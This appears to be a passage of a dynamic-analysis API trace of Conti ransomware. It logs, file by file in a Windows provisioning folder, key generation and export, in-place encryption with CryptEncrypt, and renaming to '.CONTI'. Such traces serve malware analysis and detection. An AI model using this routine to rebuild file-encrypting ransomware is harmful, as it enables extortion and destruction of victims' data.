	[0107.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI"
	[0107.357] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\1__power_policy.provxml.conti")) returned 1
	[0107.357] GetProcessHeap () returned 0x1720000
	[0107.357] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.357] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.357] GetProcessHeap () returned 0x1720000
	[0107.357] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0107.357] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0108.078] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65142d0 | out: phKey=0x65142d0*=0x17c82b0) returned 1
	[0108.078] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65142d4, pdwDataLen=0x433f9bc | out: pbData=0x65142d4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0108.081] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.081] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.082] GetLastError () returned 0x0
	[0108.082] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=642) returned 1
	[0108.082] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x282
	[0108.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.082] SetEndOfFile (hFile=0x384) returned 1
	[0108.082] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.082] WriteFile (in: hFile=0x384, lpBuffer=0x65142d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65142d4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0108.085] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.085] ReadFile (in: hFile=0x384, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x282, lpOverlapped=0x0) returned 1
	[0108.085] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x282, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0108.085] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.085] WriteFile (in: hFile=0x384, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0108.085] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.085] WriteFile (in: hFile=0x384, lpBuffer=0x65142c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65142c8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0108.085] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.086] CloseHandle (hObject=0x384) returned 1
	[0108.086] GetProcessHeap () returned 0x1720000
	[0108.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.086] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml"
	[0108.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.086] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.086] GetProcessHeap () returned 0x1720000
	[0108.086] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.086] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.086] GetProcessHeap () returned 0x1720000
	[0108.086] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9cd8 | out: hHeap=0x1720000) returned 1
	[0108.087] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0108.383] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c7b30) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x433f9bc | out: pbData=0x17d28dc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0108.650] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.782] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.786] GetLastError () returned 0x0
	[0109.786] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=727) returned 1
	[0109.786] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0109.786] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.786] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.801] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.801] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.801] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.802] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.802] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d7, lpOverlapped=0x0) returned 1
	[0109.802] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d7, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0109.803] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.803] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.803] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.803] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.803] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.803] CloseHandle (hObject=0x3ac) returned 1
	[0109.803] GetProcessHeap () returned 0x1720000
	[0109.803] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.803] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml"
	[0109.803] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.803] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\186__Connections_Cellular_Magyar Telekom (Hungary)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\186__connections_cellular_magyar telekom (hungary)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.804] GetProcessHeap () returned 0x1720000
	[0109.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.804] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0109.804] GetProcessHeap () returned 0x1720000
	[0109.804] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0d08 | out: hHeap=0x1720000) returned 1
	[0109.804] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.804] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b422c8 | out: phKey=0x6b422c8*=0x6b7f3b8) returned 1
	[0109.804] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b422cc, pdwDataLen=0x433f9bc | out: pbData=0x6b422cc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.805] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.805] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.805] GetLastError () returned 0x0
	[0109.805] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=650) returned 1
	[0109.805] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0109.805] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.805] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.805] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.805] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.806] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b422cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b422cc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.807] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.807] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x28a, lpOverlapped=0x0) returned 1
	[0109.807] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x28a, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x290) returned 1
	[0109.807] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.807] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x290, lpOverlapped=0x0) returned 1
	[0109.808] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.808] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b422c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b422c0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.808] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.808] CloseHandle (hObject=0x3ac) returned 1
	[0109.808] GetProcessHeap () returned 0x1720000
	[0109.808] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.808] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0109.808] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.808] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\262__connections_cellular_timecel (malaysia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.809] GetProcessHeap () returned 0x1720000
	[0109.809] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.809] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.809] GetProcessHeap () returned 0x1720000
	[0109.809] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71930 | out: hHeap=0x1720000) returned 1
	[0109.809] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.809] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b402d8 | out: phKey=0x6b402d8*=0x6b7f3b8) returned 1
	[0109.809] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b402dc, pdwDataLen=0x433f9bc | out: pbData=0x6b402dc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.810] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.810] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.810] GetLastError () returned 0x0
	[0109.810] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=708) returned 1
	[0109.810] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c4
	[0109.810] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.810] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.810] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.810] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.811] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b402dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b402dc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.812] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
